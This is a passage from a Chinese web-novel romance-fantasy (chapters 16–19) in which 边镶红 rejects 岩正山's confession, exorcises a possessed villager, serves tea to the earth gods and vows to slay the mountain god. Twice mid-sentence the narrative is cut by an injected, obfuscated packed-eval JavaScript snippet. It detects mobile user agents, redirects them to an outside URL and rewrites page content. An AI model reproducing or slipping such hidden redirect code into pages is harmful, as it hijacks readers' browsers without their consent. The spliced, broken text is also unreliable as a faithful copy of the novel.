这么霸道和霸气,又这样心酸吗?花婆婆是过世了吗?是她照顾她长大的吗?岩正山想着应该要点头应下才对,反正边镶红醉了,明天也不一定能想起来,“好!”他点头应下。 边镶红有点喜出望外,她再次睁开眼睛看着龙景,他什么时候这样好说话了,她没有做梦,那一巴掌还是疼的,龙景如果能一直这样听话就好了。她颤颤巍巍地将碗里的酒端给他,“师傅,你喝过酒吗?要不要喝一点?” 岩正山摇了摇头,“我不喝,你也别喝,喝酒伤身,你明天起来头就会突突地疼。” 边镶红咯咯笑了,她放下酒碗,“龙景,我才不会头疼,我晚上都可以不做噩梦了。我遇到一个人,他叫岩正山,他的命格和我天壤之别,他简直是吉星高照,还能照耀到我,我早上睡了一觉都不做噩梦的,那些天天毁我好眠的坏蛋梦灵都被赶跑了!” 岩正山心情有点复杂,边镶红对他真的存在利用之心,可是她真的连个好觉都没有睡过。她的命运坎坷到他没有办法想象。 “他对你好吗?”岩正山决定试探一下边镶红的心意,不然她清醒的时候一定不会说清楚。 边镶红毫无犹豫地点了点头,岩正山很满意,她喝醉了还是有辨别能力的,他趁机问道:“那你喜欢他吗?” “不喜欢!”边镶红还是斩钉截铁,岩正山瞬间蔫了下去。 “哪个弟子会喜欢一个跟容貌跟自己师傅十分相似的人?那简直是□□!□□!我边镶红是那样没有道德伦理的人嘛!” “□□?他跟我长得很相似?”岩正山想起昨夜边镶红刚见到他的那一棍子,因为很像太惊讶了,所以才想确认? “像,师傅,你老实说你不是在山下生小孩了!才会有人和你这样像?” 16. 第 16 章 岩正山陷入了沉默,边镶红的师傅不是垂垂老矣的老者,而是和他拥有相似容貌的青年男子,他可以为了边镶红牺牲自己的生命。他忍不住联想,他和龙景有什么关系呢?为何他们容貌会相似?他和边镶红的命格为何如此截然不同,好像是把边镶红所有的好运都加注在了他的身上,他是不是偷走了她所有的好运。岩正山被这个念头吓了一跳,他起身,想转身离开,却被边镶红拉住了手。 “师傅,你不要走!我不乱说话了,我一定会找到三步山神改变命运,我一定会活过十八岁的。”边镶红被岩正山的力度带的差点摔倒,她慢慢站起身来,周围的锣鼓声又响起,“我不想又被留下!”她的眼神是哀伤的,岩正山没有听到她的话,可是在火光中看了她的双眼。边镶红的手逐渐放开,再次倒了下去。 岩正山双手抱着往下滑到的边镶红,她是真的醉了,醉的看不清楚面前人究竟是谁,醉了也没有埋怨命运不公,她为什么不怨天尤人呢!因为知道埋怨、愤怒于事无补,还是逆来顺受惯了,无动于衷?他将边镶红慢慢背起来,她的头在他的肩膀上挪来挪去,找到了合适的位置就安静趴着。岩正山在想可惜了,她还没有看到傩舞,但她更需要睡觉,从前那些噩梦从今天开始就都会消失的。 “咕咕咕!”胡金珠家里的公鸡每天总是很准时又嘹亮地打鸣,边镶红一把坐了起来,睁开眼睛,确认了是胡金珠家里的房间,躺了回去,刚闭上双眼又立马坐了起来,她不是要看傩舞吗,不是在土地庙前吗?她想起来自己喝了三口酒,然后呢?龙景,他来找她了!边镶红立马下床,但没走一步就被堵住了去路,她低头一看,是岩正山,他昨夜睡在了地板上。 岩正山醒了过来,边镶红正低头呆呆地看着他,他起身,“你醒了,你马上把铺盖收好。”说完俯身收拾被窝。 边镶红侧着头看着他,龙景没有苏醒,是她将岩正山认成了龙景,“你特地睡在地上,是为了确保我不会被梦灵打扰睡眠是吗?” 岩正山没有停下动作,也没有抬头,只是平静回答:“是的。” “那你也知道我在利用你!”边镶红坐回了床上,“你生气了,为什么还要对我好?” 岩正山叠好了被子,抱着放回了床上,这会他们又离得这样近,在同一张床上总感觉怪怪的,边镶红往床头挪了挪。她忽然觉得有点愧疚,他们萍水相逢,但岩正山任劳任怨,他对她好像真的挺好的。可是她立马想到他的表白,本想道谢的话,到了嘴边变成了质问:“你说话啊!” 边镶红说完就后悔了,她站了起来,走开几步背对着岩正山。 “我没有生气。”岩正山转过身来,看着边镶红的背影,她的情绪不太会隐藏,她不知道怎么面对他。“我只是想对你好!” “为什么?”边镶红转过身来,她看着岩正山的双眼,试图看出什么情绪,“不要因为说你喜欢我,所以想对我好,我们才认识几天,喜不喜欢的太勉强了。” “你觉得喜欢一个人一定要经过长年累月的相处,才能确定心意吗?”岩正山平静而坚定,“你觉得我们不过萍水相逢,泛泛之交,但边镶红,我们难道不是一直在生死与共,如我们之间的情分真的浅薄纸吗?”他靠近一点,看着边镶红的双眼,“你质疑的不是我的情感,而是你自己,是你不觉得自己有什么值得被喜欢的地方。” 边镶红不自觉后退一步,他在说她不自信,她有值得被喜欢被欣赏的地方,可那是什么呢?岩正山又上前一步,“边镶红,我喜欢你,与我们相识时间长不长没有关系。我的喜欢发自内心,真心实意,我也不奢求你一样喜欢我。但是不要怀疑我的情意,也不要拒绝我的好意。” 岩正山说完王门口走去,手腕却被边镶红抓住,她侧头抬眸看他,“岩正山,你如此言之凿凿,难道不是因为可怜我吗?你的喜欢,是出于同情还是真的处于真心,你区分清楚了吗?” “同情?”岩正山转过头去看着边镶红,她倔强又聪慧,知道他们两人命运如此泾渭分明后,认定他作为被眷顾的一方,对她怀有愧疚、同情,认定那是人之常情。所以她认定了他是出于同情的心态而对她好,而她无法接受被同情、被可怜。 “‘同情’这个词里有‘情’,情爱一体,它难道就不是是爱情里的一部分吗?如果对你的命运无半分同情与心疼,那是铁石心肠、毫无人性。没错,我在拼凑出你的命运后,我的确同情你的遭遇,我惋惜、愧疚、心疼,甚至觉得是我偷走了你人生中所有的好运气,我像是个小偷,我想把我身上的把好运还给你。” 边镶红摇了摇头,他们两人这样的命运,岩正山何错之有。她对于情爱知之甚少,一窍不通,她很想反驳岩正山,可是又找不到突破点。 “你害怕我的情意是出于怜悯,你害怕你在我心里是弱者的形象,是需要被保护的对象。所以你认为是我的愧疚不断加深我的情意,我混淆了我的情意,可是边镶红,我不是傻子,我可以明确辨认我的心意。是我的情意加重了我对你的愧疚感,我越喜欢你,就越觉得对不起你,我怎么能独自拥有这样的人生呢?” 边镶红看到了岩正山眼里的痛苦,他在为她的生命而悲痛,为她而悲痛,她放开了手,还是止不住摇头,他的情意是真,他看到了她的内心。可是他还是怜悯她,他的同情像是一把钝刀笨拙地砍在她的心尖上,还是会让她觉得痛苦。 “你没有对不起我!我相信如果我们能自己选择命运的话,一定不是像今天这样的局面,可是我们没有选择的机会。至于你的情意,我不要!我不要夹带着厚重愧疚感的情意,那样的情意你给了我,也会给其他人。我不要你出于道德良心的情意,我不要你对我好,你对我的包容是出于你内心的怜悯,我不要任何人的怜悯。” 岩正山不敢置信地望着边镶红,“尤其是不需要长得跟你师傅那样相似的人怜悯你对吧?边镶红,你为什么能那样清楚地替我分辨我的情意呢?你分辨的是我的情意,还是你师傅的情意,又或者是你的情意?” “你什么意思?”边镶红上前一步想要问清楚,岩正山却收回了眼神,“我一定是疯了,才会把我的心这样挖出来扔在地上。”说完他往外走去。 很快边镶红听见了马蹄敲地的声音,岩正山骑马走了。她看到了他眼里的泪水,边镶红的身体慢慢滑落跌坐在地板上。她的情意,龙景的情意,岩正山什么意思?她昨晚认错人抱着岩正山时候在想什么,被抱住的岩正山又在想什么?她想不出答案,她的头好痛,宿醉果真会 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“对不起,大娘,我没有办法做到。岩正山他走了,我不知道他会去哪里。而且岩正山给您钱也不是看轻您招待我们的热情,只是用银子是他最能表达谢意的方式了。所以请您一定要收下,因为我也会这样做。”边镶红从荷包里掏出一块差不多大小的银子,交给胡金珠。 “小边,你也要走了啊,我还以为你们还会再住一晚,毕竟你昨夜都没来得及好好看傩舞。”胡金珠将岩正山给的那块银子和边镶红给她的银子都放在了桌子上,“你们既然能体会到我们的真心,就不应该给我们银子,我们不想要你们的施舍。” 边镶红站了起来,连忙解释,“这不是施舍!而这是感恩,大娘,我们是因为感谢你们的招待,才想用银子回报你们的好意。”说完忽然觉得矛盾,她好像又回到和岩正山辩论的时候。 “这就是施舍,因为你们拥有了很多银子,认识不到银子的重要性,所以可以用银子来解决掉情意。我们虽然是小门小户,但有手有脚的,能靠自己的汗水挣钱,不需要你们的施舍。” “不是的,大娘,我们真的没有那个意思。”边镶红摇头再次否认,“我们只是知道语言无法传达出我们的谢意,我们又是偶然投宿,所以用银子这个分量比较深重的载体来表达我们的心意而已。” “那就是怜悯,是施舍,因为我们家家底不厚,房屋没有雕梁画栋,不够金碧辉煌,所以你们认为银钱是我们最需要的东西!” 边镶红再次抓住胡金珠的手,“大娘,我们真的是只是想要表达出我们的谢意而已。”在这一刻她变成了不被她理解的岩正山,或许真的是她太快否定了岩正山。 “那你把你们的银子都收回去,我们不需要。你们的心意,我们看到的,感受得到。”胡金珠拍了拍边镶红的手,“记得帮我们帮小岩的银子还给他。现在,我们去吃早饭吧!” 边镶红望了一眼门外,“大娘,你们先吃,我一定要先将银子还给岩正山。”她拿上银子抬腿就走,她要去追上岩正山,至少要跟他说清楚,她不该这样武断判断一个人的心意,也要让岩正山重新审视他自身的情感,她还要问清楚他倒数第二句话是什么意思。 当边镶红走出房门,闻声抬头,就看到骑着高头大马的岩正山,他折返回来了。 17. 第 17 章 两人相顾无言,追风“咴儿咴儿”了一声打破了沉默,胡金珠也从房里走了出来,“小岩回来了,快,我们去吃早饭。” 岩正山下马,牵着追风去了后院,边镶红一言不发跟在后面,小灰嘤嘤了一声,仿佛在问,你怎么回来了。追风又去蹭小灰的头,小灰立马躲开,扬起前蹄,但追风依旧靠近,小灰的蹄子没有落在追风身上。 “对不起!”两人异口同声,两人面面相觑。边镶红忽然觉得更愧疚了,岩正山真的是个好人。而岩正山也没有想过边镶红会和他道歉,她刚刚开门是想去找他吗? “岩正山!”“边镶红!”两人再次陷入诡异的沉默,边镶红想甩袖走人了,有点尴尬,反正以后慢慢再说就好了。不对,她怎么能如此确定岩正山会一直跟她在一起,她立马前进一步,“你先听我讲,不许插嘴!” 岩正山看着凑近的边镶红的脸,点头应下,“你说,我听着呢!” “首先对不起,你说得对,我不该太轻易就去否定你的感情,但岩正山,我不喜欢你,我对你没有那样的情意。”边镶红说完这一点,内心长舒一口气,虽然对面岩正山看着有点受伤的样子,但她舒坦了。“第二点,还是对不起,我不应该得了便宜还卖乖,你对我真的很好,我不能那样理所当然享受你的好意。所以……” “所以你不要我了,你不要我跟你一起去云平,你不要我和你一起去找三步山神了!”岩正山立马接话,他摇着头后退,不能接受。 边镶红被打断了话头,又看到岩正山皱着眉头,生气了,她一巴掌呼过去打在他的手臂上,啪的一声,她的手掌疼,她小小地扇了扇手,缓解一下疼痛,恶狠狠地说道:“我说了,不许插嘴!而且我什么时候要你跟我去找三步山神!” 岩正山闻言感觉有戏,边镶红不是要赶他离开。他连忙上前一步,摇摇头表示自己不说话了,还拉起边镶红的右手,给她的手掌扇风。边镶红被他乖巧的姿态吓了一跳,立马抽回手,“站好,不许动!”岩正山立马点头,她还是觉得有点可怕,后退了一步,岩正山本来想往前一步,但停下来了。 “所以,你不要对我太好,我没有什么能回报你的,我受之有愧,心有不安,我不舒服了,我就会恩将仇报,我会打你、骂你。”边镶红再次强调,“所以,岩正山,你听清楚了吗?不许对我好,我们君子之交淡如水,懂了吗?” 岩正山神色变得颓败,他不应该太冲动、太直白地表达他的喜欢,他表达出的喜欢太过浅显,像一时兴起,而且给边镶红造成了困扰,她一样进退维谷,不知所措。他慢慢低下了头颅,“对不起!” 边镶红被这声道歉吓得后退一步,她不自觉地摇头,她不能理解岩正山为什么要道歉,她的心跳剧烈地跳了几下,她一样也低头看着自己的胸口,她看不见自己的内心。她在岩正山这里,听到了好多遍道歉,他对她无所求,也没有对她做错任何事情,可他就是那样真心真意地对她深感愧疚,一遍又一遍地道歉。她的双眼忽然变得温热,她伸手摸到了眼泪。她竟然流泪,为岩正山而哭泣吗?边镶红立马转过身去,擦掉了眼泪,调整好呼吸。 “你以后也不许和我道歉,‘对不起’那三个字我一点都不想听到。” 岩正山觉得这个声音怪怪的,他抬头,只看到边镶红的背影,她孤独地站在阳光里。 边镶红转过身来,“我昨天答应让你同行,是因为我要利用你的好运好命逢凶化吉,我想要更加顺利地找到三步山神,我要改命,我要复活我师傅,我要烧了白荼那只恶鬼。所以我要利用你的力量,你现在知道了一切,如果想反悔,想离开,我绝对不会阻拦。” “我可以动吗?”岩正山眼巴巴地望着边镶红,其实他迎着光根本看不清背光的她的神态。边镶红点头,岩正山走上前来,“你知道吗,镶红,我本来不喜欢我的……”边镶红立即伸出手制止,“说了不许叫我镶红!”她说完发现她“不许”的事情真多。 岩正山妥协,“可是你可以叫我正山!”他走近后看清了边镶红的表情,她很嫌弃,她不想那样子喊他。“我本来不喜欢我的好命好运,太顺遂了,可是遇到了你我才知道我的好运好命就是为了被你利用,能被你利用,我荣幸至极。你想去哪里,去做任何事,我都想陪着你。” 边镶红被岩正山的正义热情搞得有点惶恐,这正常吗? “还有,我不可能是你师傅生的,我和他大概只有容貌相似和剑法厉害以外,没有其他任何相似的地方。”这一点岩正山非常确定,“边镶红,你再多看看我就会发现,我不那么像你师傅的。” 边镶红侧着头仔细端详这岩正山的五官,阳光在他脸上感觉很柔和,他的眉骨比常人立体,长眉下有一双桃花眼,内眼角尖锐而内陷,眼尾斜飞上扬,眼型流畅优美,此时他正专心看她,眼波流转,饱含情意。边镶红的心又狂跳了几下,脸上忽然烧起来,她连忙后退一步,他和龙景的容貌的确没有那么相似了。 “那你说的,我分辨不出我自己的情意是什么意思?”边镶红立马转换话题,岩正山又往前一步,他知道边镶红害羞了,他亦自知自己的容貌尚可,美人计他可以的,“我乱说的,你不要放在心上。” 边镶红“嗯”一声,岩正山知道搪塞不过去,便罐子破摔,“因为我觉得你有点喜欢你师傅!”此话一出,果然边镶红暴怒,她大吼,“你胡说八道!”岩正山狂点头,“是,是我胡说八道,我说了我乱说嘛!” “你为什么会这样觉得?”边镶红觉得无稽之谈,但还是好奇。 “感觉,因为你慕强,因为你师傅对你太重要了。”岩正山坦言,边镶红则皱眉不解,“那这也不是男女之情啊!而是孺慕之情啊!你真是胡说八道。” “知好色,则慕少艾,你的人生里,只有你师傅一个男性,你的情感就会发展成男女之情。”边镶红立马抢白,“才不是,我还有个师弟呢,虽然我不认,他是公狐狸那也是男的,我才没有喜欢龙景。” 毛峰是狐妖?都不重要了,岩正山至少确定了边镶红真的不想他以为那样暗恋龙景就好。他循循善诱,“那你要尊师重道,喊他师傅。” 边镶红还是觉得有点奇怪,感觉她被岩正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586795|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山牵着鼻子走,“不许命令我!我爱喊什么就喊什么!” “我没有命令你,我只是建议而已,边镶红,我怎么会命令你呢!”岩正山神态乖巧,“你要不要洗漱一下,我给你打水,你头发也要梳一下了。那边有个凳子,你去坐好,我去打水!” 边镶红本来走了几步想要走下去,但突然睁大眼睛,转过身来,抬头睥睨岩正山,“说了你不许对我好的!我自己的事情自己做!” 岩正山见状,心里痒痒的,他挠了挠头,“这不是对你好,这不过举手之劳,因为你不会梳头,也不会打水,让你立马学会肯定不太行,难道你要麻烦大娘帮你吗?” 边镶红哼了一声,坐了下来,“那你会编辫子吗?” “会!”岩正山立马点头,“我娘小时候经常给我编辫子,所以我会!”耳濡目染是真,但从没自己别人编过辫子也是真,他更加没有打过水,可是他不想放弃亲近边镶红的机会,“我现在去打水,去拿梳子,你稍等,我很快!” 水井在哪里来着,岩正山仔细回忆,但胡金珠人未到声先到,“你不用自己打水,水缸里满满都是水呢!刚刚我把脸盆端进你们房间啦,小边,来我们回房去,大娘给你梳头,大娘可喜欢给别人梳头了。” 边镶红看着胡金珠的笑脸,点了点头,跟着她回了房间,她乖巧地坐好,眼神专注地看着胡金珠。 胡金珠知道边镶红在看她,她笑了,“大娘知道你每天都很忙,更习惯把头发都规整好,而不是像那些小姑娘梳那些花俏的发髻,簪花戴钗的。大娘帮你把头发编长长的麻花辫,在发尾那里也插上一朵花,可好看了!” 边镶红点头,花婆婆从前也会这样给她编头发的。胡金珠看了一眼岩正山,岩正山立即点头,他在学了,在学了。最后她用一段红布将边镶红的发尾层层绑紧,“好了!我们小边的头发跟绸缎似得,乌黑发亮,真好看!” 岩正山在一旁狂点头,是真的。 “当然了,我可是……”边镶红没有再说下去,她总会将胡大娘当成是花婆婆。 胡金珠摸了摸边镶红的头,“好了,我们去吃饭吧!” “好!”边镶红起身,跟在了胡金珠身后,岩正山则跟在她身后,忍不住伸手想去触摸她的头发,但边镶红似乎早有预料,转过头来,瞪了他一眼。岩正山收回了手,偷偷笑了。 四人刚吃完早饭,忽然有人急急忙忙来跑进来,上气不接下气的,“水叔,婶子,不好了!才哥在村口那里,忽然从牛车上摔了下来头磕破了,晕倒了,但又立马醒了过来,现在满村子乱跑,拦都拦不住!” 刘水木和胡金珠直挺挺站了起来,焦急万分,“阿才,阿才现在在哪?阿贤,你刚刚在哪里看到他的,他跑哪去了?” 刘才贤摇了摇头,“我也不知道,只能找,他只乱跑不说话,安静得有点怪异,又变得力大无穷,我真抓不住他!” 边镶红和岩正山已经起身,“大娘,大叔,你们跟着我,我能找出阿才哥的位置。”边镶红立即走在前头带路,她知道刘阿才是被鬼附身了,针对她来的鬼。 18. 第 18 章 边镶红对这个村子一点都不熟悉,但是她能感应到刘阿才的位置,在村子西南处的一道废弃的民房。他们一行人很快到达,刘阿才昏迷躺倒在荒草堆里,胡金珠和刘水木快步走近,看到他额头还在滴血,脸色苍白,他们不敢大声呼喊,流着泪冲过去抱着他,胡金珠低声哭喊,“阿才!阿才!你醒醒,爹和娘来了,你醒醒,怎么好好一个人会变成这样?” 边镶红走近,“大娘,你相信我吗?”胡金珠泪眼朦胧,点了点头,边镶红立即按住他的额头,郎朗诵道:“青天白日,太上正气,镇守四方,消灾度厄。”金光照耀,止血镇魂。她睁眼看向胡金珠,“大娘,大叔,你们先带阿才哥回家去吧,他很快就会醒过来,不会再有事了。这几天给他多吃点猪肝、红枣、枸杞等补气血的食物,调养一下,很快就可以恢复的。” 刘水木将刘阿才背起来,胡金珠看向边镶红,有点担忧,“小边,你不和我们一起吗?”边镶红摇摇头,“大娘,我们处理完这里就回去,很快的。” 他们一家人先离开了,岩正山环顾一周,没有发现任何异常,他问道:“那只鬼藏在什么地方?” “她没来,不过是一缕怨念,就迷惑住了刘阿才。”边镶红摇头,这只鬼是会操纵人心的鬼,“她利用了刘阿才想要生儿子的执念,控制住了他的神智,最主要还是在敲打我,让我不要太得意忘形,她那样的鬼,一样会迷惑住我的心神,和你的心神。” 信息量很多,岩正山捋清楚了,执念生魔鬼,魔鬼冲破理智,但生儿子很重要吗?刘阿才夫妇不是有了一儿一女吗?还想再生?但那不重要,那鬼为何要挑衅他们,边镶红的脸色还是很平静,他小声问道:“那我们现在要做什么?” 边镶红侧头,“你拜过神明吗?”岩正山点头,她继续问道:“在庙里、观里?”岩正山继续点头,补充道:“还有家里。”边镶红点头,“很好,那你亲眼见过神明吗?” “没有,应该没有。”岩正山不那么确定,他刚说完就被边镶红拉住了手腕,“那你即将在这里见到神明,快闭上眼睛,跟着我念。”他还没理解过来边镶红的意思,但他已经闭上双眼了,闭眼怎么见神明呢?连香火都都没,怎么见神明?还是在这个荒废掉的屋子里? 边镶红朗诵道:“神光普照,我有神通。”岩正山觉得这句话有点平平无奇,凭借这局咒语就能见到神吗?但跟着念了一遍,“神光普照,我有神通。”他没有感受到任何变化,但边镶红放开了手,他立马睁眼,看到边镶红在往前走去,他看到周围都是云气,不应该在庙里面见到神明吗?他意识到了他们所处的空间,他浑身僵直不敢动弹,眯着眼睛稍微低下一点点头看了看下方,腿软了,冷汗瞬间流了出来。他们在天上,边镶红要走去哪里,为什么不会摔下去?他僵硬地抬头,在边镶红前面还有一个,不,两个人,好像是土地公和土地婆? “二位为什么不及时阻止怨灵袭扰刘家人呢?虽然两次都不会伤及性命,但放任怨灵游荡,算渎职吧?”边镶红看着土地公和土地婆,有点疑惑,他们一样在等着她来找他们。而他身后的岩正山闻言心惊肉跳,她怎么质疑神明渎职,他忘记恐惧立即跑过去拉着边镶红往后退。 岩正山连忙请罪告饶,“神明在上,边镶红童言无忌,千万不要于她一般见识,也千万不要降罪于他。”边镶红放手拉着他往后稍,“岩正山,不许插嘴。” 土地婆笑了,“他关心你,你还凶他!”土地公也笑了,“对,你要对他好点!” 这架势,不仅岩正山觉得怪异,边镶红也觉得奇怪,感觉他们有点相熟啊,明明这他们是第一次见面。三步山厉害的弟子能通土地神,祈求土地神相助,因为他们有共同的职守,引渡亡魂。这是龙景跟她说的,但边镶红一直没有试过,今天一试可通,可是有点自来熟啊,同事之间的惺惺相惜?还有,什么叫对岩正山好点?她对他很好好吗?这是在保护他! “请言归正传!”边镶红重申重点,“二位为何不阻止?” “你要空手问神?”土地公脸上笑意不减,岩正山看出了一点压迫,他想上前告罪,但手又被拽着,边镶红“哦”了一声,“那你们想要什么?”这是在讨价还价,跟神?边镶红这么强悍吗?岩正山已经不知道该怎么做了? “听说你会泡茶,人间供奉多为瓜果和清茶①,我们想喝看看你的茶。”土地婆手一挥,出现了一只桌子和一套茶具,“你的茶具,水也快烧开了。” 是她带下山的那套白瓷盖碗茶具,边镶红看了一眼土地公和土地婆,“没有椅子吗?”土地婆笑了,椅子也有了,她走近坐好,将双手伸出椅子外,“洗个手!”毕竟泡茶还是一件很严肃、讲究事情。有水倾倒而下,边镶红洗完手后掏出帕子擦干净,正襟危坐,倒水烫茶杯,打开茶叶罐拨出茶叶,向前面两位展示茶叶,“这是我炒的茶,乌龙茶,茶叶初烘揉捻成型后,我又重火炒了一次,②所以看起来茶叶条索壮实、色泽乌黑,一用力碾压就会碎掉,但是泡出来的茶汤澄黄金亮,入口甘醇,回味更加甘甜绵长。” 岩正山站在边镶红后面,她没起身将茶叶端给他看,岩正山附身看了一下茶叶的确如她所言,她不愧是边家人能无师自通。 边镶红转过身去,将烫茶杯的热水倒入公道杯,投茶高冲水,茶盖拨动茶叶充分浸润,用公道杯的热水再去烫四个茶杯,然后在公道杯里倒出茶汤,倒掉茶杯里的热水,分茶奉茶。 这也是岩正山第一次见边镶红泡茶,她泡茶时的神态宁静而慈祥,气质沉稳宽容,跟平常完全不一样。他们三人上前端起了那小小的茶杯,茶香比热气更快散开,直入肺腑,有很的轻柔花香,香气果真能抚慰心灵。 边镶红抿了一小口,舒服极了,这几天的疲劳逐渐消散了,又想睡觉了,茶叶的提神作用而她而言是不存在的,她又喝了一口,放下杯子,开在椅背上,发现他们三人都在看她。意犹未尽的样子,她的茶天下无双,她坐直了身体,又冲了一泡。 土地公放下了杯子,称赞道,“这茶的确好喝,喝完全身都觉得舒坦,怪不得你能泡茶超度亡魂,有巧思有功德,挺好的!”土地婆也附和,“跟我们以前喝过的那些茶都不一样,龙景没有夸张,的确名不虚传!” 边镶红分茶的手一顿,不算很惊讶,“你们和我师傅见过面?”土地公点头,“当然,我们也算是朋友,就是他不给我们你的茶叶,也不肯泡茶给我们喝。” 土地婆端走了第二杯茶,“你在山上超度的那些冤魂恶鬼,都是龙景筛选过后指引上山的,给你积攒功德用的。我们跟他很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们是给小边解答疑惑,受教的确是你,小岩啊,你真有趣。”土地婆看向岩正山,问道:“只是你确定你真的要和小边一起走下去吗?一路上可能会惊险万分,你现在真的不怕鬼了吗?” “那些冤魂、厉鬼、恶灵什么的,都很可怕的!” 岩正山眉头一皱,土地婆明显话中有话,“我确定,可怕的鬼都不是人变得,我见过的人心险恶多了去了,没有什么好怕的!”他忽然也想知道自己的命运跟边镶红真的没有关系吗?他虔心诚意问道:“请二位神明解答,为何我生来命好运好,容貌还与龙景相似?” 土地公和土地婆似乎不惊讶他会这样问,毕竟这样的极端的命格的确罕见。 岩正山瞥到边镶红也抬眸望向土地公他们,她带他来是不是也是因为好奇他们两人的命运? 土地公摇了摇头,“这个,得去问安排命运的三步神,我们管生人管死人,就是不管命运编排。只能说你们有你们的因果。”土地婆接过话茬,“找到她你们就可以问清楚,如果她愿意,或许可以帮你改命!” “如果她不愿意呢?”边镶红站了起来,“人的命运怎么能被动地握在神明的手里,这不公平!” “神的存在难道不是为了维持公平正义吗?你说对了一半,人的命运有一半的确不是由神决定的,而是人的意志决定。”土地婆走上前看着边镶红,“小边,你超度亡魂有功,也算是半神的存在,所以有找神明改命的机会,这是很多人终其一生都没有的选择。” 边镶红想起白荼说的话,她和龙景一定有深仇大恨,她临终前心有不甘,怨念深重,导致她前面那些人生孤苦无依,青春早夭。所以她所有的人生会在这一世做一个了结,这辈子她要做的就是自己超度自己怨念。 “所以,与其说我是要去改命找三步神改命,不如说是要去解决我与龙景没有化解的恩怨。” 19. 第 19 章 “是,可以这样理解!”土地公点了点头,“你们的因果,你是因。” 边镶红坐了下来,一言不发地整理茶具。 岩正山看着落寞的边镶红,他不知为何后退一步,他们的因果,他是不是也在里面,他在他们的故事里是什么样的角色?龙景为何能为边镶红做到如此地步? 边镶红将茶具都收拾好了,她站了起来,看向土地公他们,“我知道了,我是因,我也是果。”说完她拉住岩正山的手,两人瞬间回到那间荒废的屋子,边镶红放开了手,往前走,却被拉住了手,她侧过身抬头望着岩正山。 “边镶红,你不要难过!” 这一次边镶红没有马上甩开岩正山的手,“难过?你觉得我难过?岩正山,你认为我因为我悲惨的命运而感到难过,我为龙景对我人生的无私奉献感到难过。我应该难过,痛哭流涕,歇斯底里质问命运,对吗?” 岩正山慢慢放开了他的手,他抓不住边镶红的,但他还是点了点头,“对,你应该难过。你扪心自问,你的心在这一刻不痛吗?你不能理解、无法释怀,且心痛自已,因为你愤怒,你太愤怒了,你只会觉得你愤怒无比,而忽略了你的心意。” “我的心意?”边镶红摇摇头,“岩正山,你错了,我的心就是在愤怒,我无比愤怒。”她往前一步,更加靠近岩正山,盯着他的眼睛说道:“你真的以为我还会对龙景的所作所为充满感恩吗?不会,我现在怨恨他,他做这一切是为了我吗?不是,他是为了他自己!他就是一个懦夫,他变成一堆石头逃避了这一切,而我要像个疯子一样满天下乱串,去找一个偏心的神明改命!” “我还怨恨我生而为人,被神摆弄命运!” 岩正山望着边镶红的双眼,那里有团熊熊燃烧的火焰,跳动的火苗在灼伤她的灵魂。 边镶红一字一句:“从现在开始,我要的不仅仅是改命,而是要成为操控这一切的神明!” “你要成神?”岩正山对神仙之事并不了解,但有一点他很确定,大道有情,神明降临,神生而为神。①他后退一步,“边镶红,我承认你师门很厉害,你们能通鬼、通神,甚至可以呼风唤雨,如土地公所言,你是半神,但你不要忘记了,你是人,你是会流血流泪的凡人。你比我更清楚这世间,就没有人能修炼成真神!” “对!”边镶红向着岩正山再前进一步,“我师门传承五百年的确没人成神,但那又如何,他们做不到,我就一定也做不到吗?而且,我不是要修炼成神,这种方式太缓慢了!” 岩正山摇头,他仿佛猜到了边镶红的方式,他没有发现自己的声音在颤抖,“你要杀死三步山神成为三步山神?” “对,我要弑神,既然天生神明,天不与我,我自取之!”边镶红明明语气很平静,神色淡然,可是她的话如惊涛骇浪要冲垮一切堤坝。 边镶红要以肉体凡胎斩杀金刚不坏的神明! “你疯了!边镶红你疯了!”岩正山双手紧紧抓住边镶红的手臂,他呐喊质问,“你怎么可能杀得了神明,弑神必然会引起天谴,你杀不死神明的!你为何会有这样疯狂的想法,你怎么可能取而代之?边镶红,你不要命了吗?” “我当然要命,但我的命由我决定!是生是死,应该由我决定。我不要每天被一堆噩梦告知,我活不过十八岁。”岩正山抓的有点紧,边镶红不看也知道自己的双臂肯定被抓红了,痛感真奇妙,越痛就越想毁灭这个世界。她反手摆脱了岩正山的禁锢,“我的结局凭什么别一群人提早预定,我这一生凭什么要轻飘飘地由一句话概括过去!我就那样的罪不可赦、非死不可吗?如果神一定要我死,那我一定会拉着神一起死!” 岩正山的表情越来越痛苦,边镶红望着他的双眼继续说道:“我一定会在天谴杀死我之前,拼尽全力杀死神明。岩正山,我再给你一次机会,逃跑的机会。如果你怕了,现在立马就离开,逃得远远的,再也不许出现在我面前。如果留下,这一路上你就算死了,我都会把你变成厉鬼,来帮助我杀神!” 边镶红真的疯了,岩正山接连后退好几步,明明他们早上刚敞开心扉,关系更进一步。为什么现在跟仇人相见一样,非要拼个你死我活不可呢?她的眼神那样坚定,那样冷漠,边镶红是一个说到做到之人,岩正山还是不死心,“边镶红,如果杀了我,能让你弑神成功,你一定会毫不犹豫杀死我,对吗?” “对!”边镶红太过斩钉截铁了,他还没有听过这样犀利、能瞬间刺透人心的语言,语言的杀伤力怎么比刀剑加身更让人觉得疼痛呢!岩正山在她的眼神里没有看到一丝丝变化,“你的出现一定不是偶然,那你的存在只能为我所用,我绝对不会牺牲、让渡我的任何权益成为你命运的垫脚石。”她指着大门的方向,“所以,现在你逃跑吧!” 